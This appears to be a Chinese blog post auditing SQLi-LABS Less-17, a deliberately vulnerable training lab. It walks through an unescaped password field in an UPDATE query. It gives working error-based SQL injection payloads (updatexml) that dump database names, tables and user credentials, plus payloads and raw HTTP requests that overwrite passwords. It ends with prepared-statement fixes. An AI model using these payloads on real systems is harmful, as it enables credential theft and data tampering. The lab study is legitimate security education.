sqli-labs-Less-17-代码审计报告

12次阅读
没有评论

Less-17 代码审计报告:POST UPDATE 注入(密码重置)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-17/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-17: Update Query - Error based - String(密码重置)
源码路径 Less-17/index.php
漏洞类型 SQL 注入 – UPDATE 语句报错注入(注入点在被转义函数遗漏的 passwd)
注入点参数 POST uname / passwd(密码重置表单)
报错/盲注 报错回显(mysql_error())
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-17/index.php

// 第 39-64 行:定义 check_input 过滤函数(对 uname 生效)
function check_input($value)
{
if(!empty($value))
    {
    $value = substr($value,0,15);          // 截断
    }
    if (get_magic_quotes_gpc())
        {
        $value = stripslashes($value);
        }
    if (!ctype_digit($value))
        {
        $value = "'" . mysql_real_escape_string($value) . "'";   // 数字外统一转义+加引号
        }
else
    {
    $value = intval($value);
    }
return $value;
}

// 第 67-73 行:uname 经过 check_input 过滤,但 passwd 未过滤!
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);     ← 第 71 行:已过滤(返回 'xxx' 带引号)
$passwd=$_POST['passwd'];                ← 第 73 行:直接取值,未过滤 ← 注入点

// 第 84 行:先用 uname 查询用户
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 第 89-92 行:找到用户后取出 username
if($row)
    {
    $row1 = $row['username'];

// 第 94-95 行:UPDATE 语句,passwd 直接拼接 ← 核心漏洞
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

// 第 100-106 行:回显 mysql_error()
if (mysql_error())
    {
    echo '<font color= "#FFFF00" font size = 3 >';
    print_r(mysql_error());              ← 第 103 行
    ...

关键漏洞点:

  • 第 71 行:$uname=check_input($_POST['uname']); uname 被 mysql_real_escape_string 转义,难以注入。
  • 第 73 行:$passwd=$_POST['passwd']; 未经过任何过滤/转义,直接进入 SQL。
  • 第 94 行:UPDATE users SET password = '$passwd' WHERE username='$row1' —— passwd 被单引号包裹拼接进 UPDATE 语句,构成注入点。
  • 第 103 行:print_r(mysql_error()); 回显错误,可做报错注入。

3. 漏洞分析

  • 输入来源:$_POST['uname'](被过滤)与 $_POST['passwd'](未过滤)。
  • 过滤为何可绕过/失效:开发者只对 uname 调用 check_input()(第 71 行),却遗漏了 passwd(第 73 行直接赋值)。这是典型的"只防护了一个参数"的缺陷。
  • SQL 拼接位置:UPDATE users SET password = '$passwd' WHERE username='$row1'(UPDATE 子句)。
  • 闭合方式:单引号 '。
  • 执行前提:必须先提供已存在的合法用户名(如 admin)让第 84 行 SELECT 命中 $row,才会执行到第 94 行 UPDATE。若用户名不存在则直接走 else 分支,UPDATE 不执行。
  • 是否回显:第 100-103 行在 mysql_error() 非空时回显错误 → 支持报错注入;也可利用 UPDATE 语义直接改数据。

4. 利用方式

步骤一:确认注入点(前提:合法用户名存在)

uname = admin
passwd = 1'            → SQL:UPDATE users SET password = '1'' WHERE username='admin'
                        回显 mysql_error(),确认单引号闭合

步骤二:报错注入提取数据(核心 Payload)

-- 爆当前数据库
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select database())),1)-- -
-- 爆表名
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)-- -
-- 爆用户名密码
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users)),1)-- -

预期结果:页面回显 XPATH syntax error: '~security' 等报错信息,带出数据。

步骤三:直接改库(UPDATE 语义利用)

-- 方案 A:把其他用户密码改掉 / 构造闭合
passwd = 1' where username='admin' -- -     → UPDATE users SET password='1' where username='admin' -- -' ...
-- 方案 B:利用 UPDATE 改 username 字段(在 password 后追加字段)
passwd = ' , username='admin

预期结果:

  • 方案 A 会把指定用户密码更新为 1;
  • 方案 B 可在一条 UPDATE 里额外修改 username 字段,实现字段篡改。

步骤四:进阶

  • 由于 UPDATE 是写操作,报错注入语句会因 updatexml 报错而不实际修改数据(语句执行失败),但错误信息已带出数据;
  • 若想保留报错的同时不破坏数据,可将 updatexml 条件放在不改变业务结果的位置。

5. Yakit 重放数据包

报错注入报文(核心):

POST /sqli-labs/Less-17/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close

uname=admin&passwd=1%27%20AND%20updatexml(1,concat(0x7e,(select%20database())),1)--%20-&submit=Submit

直接改密码报文:

POST /sqli-labs/Less-17/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close

uname=admin&passwd=1%27%20where%20username=%27admin%27%20--%20-&submit=Submit

说明:uname=admin 保证 SELECT 命中;%27='、%20=空格、--%20-=-- -、(select%20database()) 空格已编码。


6. 修复建议

修复一(首选):PDO 预处理语句(UPDATE 同样参数化)

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// 1. 校验用户名是否存在(参数化 SELECT)
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :uname LIMIT 0,1");
$stmt->bindValue(':uname', $uname, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();

if ($row) {
    // 2. 参数化 UPDATE,password 也走占位符
    $stmt = $pdo->prepare("UPDATE users SET password = :passwd WHERE username = :uname");
    $stmt->bindValue(':passwd', password_hash($passwd, PASSWORD_DEFAULT), PDO::PARAM_STR);
    $stmt->bindValue(':uname', $row['username'], PDO::PARAM_STR);
    $stmt->execute();
}

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT username FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $uname);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

if ($row) {
    $stmt = $mysqli->prepare("UPDATE users SET password = ? WHERE username = ?");
    $hashed = password_hash($passwd, PASSWORD_DEFAULT);
    $stmt->bind_param('ss', $hashed, $row['username']);
    $stmt->execute();
}

修复三:输入校验 + 最小权限

  • 对所有入参统一过滤(不能只过滤 uname),或统一走参数化。
  • 密码应存储 password_hash() 哈希值,不存明文。
  • 关闭 display_errors,删除第 103 行 print_r(mysql_error()),错误写日志。
  • 数据库账号最小权限(禁止 DDL/写库权限按业务最小化);升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0